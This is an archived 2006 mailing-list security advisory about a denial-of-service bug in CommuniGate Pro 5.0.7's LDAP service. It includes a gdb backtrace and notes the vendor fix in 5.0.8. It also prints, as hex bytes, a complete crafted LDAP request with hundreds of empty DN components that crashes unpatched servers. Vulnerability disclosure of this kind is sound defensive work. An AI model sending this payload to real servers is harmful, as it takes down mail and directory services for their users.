lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
Open Source and information security mailing list archives
| ||
|
Date: Sat Feb 4 19:39:57 2006 From: research at gleg.net (Evgeny Legerov) Subject: ProtoVer LDAP vs CommuniGate Pro 5.0.7 I. DESCRIPTION CommuniGate Pro Core Server from CommuniGate Systems provides robust cross-platform groupware applications, enabling a cost effective, easy to manage communications platform. For more info visit http://www.stalker.com II. DETAILS ProtoVer LDAP testsuite v1.5 uncovered critical Denial of Service vulnerability in LDAP component of CommuniGate Pro Server 5.0.7 The vulnerability could be used by a remote unauthenticated attacker to crash the server. Example debug session is below. Program received signal SIGSEGV, Segmentation fault. [Switching to Thread -1458242640 (LWP 25554)] 0x080fa008 in VDirectoryFile::findParentDN () (gdb) backtrace #0 0x080fa008 in VDirectoryFile::findParentDN () #1 0x080fa031 in VDirectoryFile::findParentDN () ... #353 0x080fa031 in VDirectoryFile::findParentDN () #354 0x080fcc6f in VDirectoryFile::findRecords () #355 0x080efc23 in VDirectory::findDirectoryRecords () #356 0x081b09b3 in VLDAPInput::processInput () #357 0x082cb5a3 in VStream::worker () #358 0x082cc419 in VStream::starter () #359 0x0839c369 in STThreadStarter () #360 0xa9a09b80 in start_thread () from /lib/libpthread.so.0 #361 0xa9976dee in clone () from /lib/libc.so.6 To reproduce the vulnerability, send the following data to LDAP port: """ 30 82 02 38 02 01 01 63 82 02 31 04 82 02 15 64 63 3d 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 64 63 3d 65 78 61 6d 70 6c 65 2c 64 63 3d 63 6f 6d 0a 01 02 0a 01 00 02 01 00 02 01 00 01 01 00 a2 05 87 03 66 6f 6f 30 00 """ III. VENDOR RESPONSE The vendor has released 5.0.8 version which addresses this issue. Quote from http://www.stalker.com/CommuniGatePro/History.html: """ 5.0.8 03-Feb-06 * Directory: DN processing changed to avoid problems with DNs containing too many (>100) elements. """ IV. CREDIT The vulnerability has been found using GLEG Ltd's ProtoVer LDAP testsuite: http://www.gleg.net/protover_ldap.shtml
Powered by blists - more mailing lists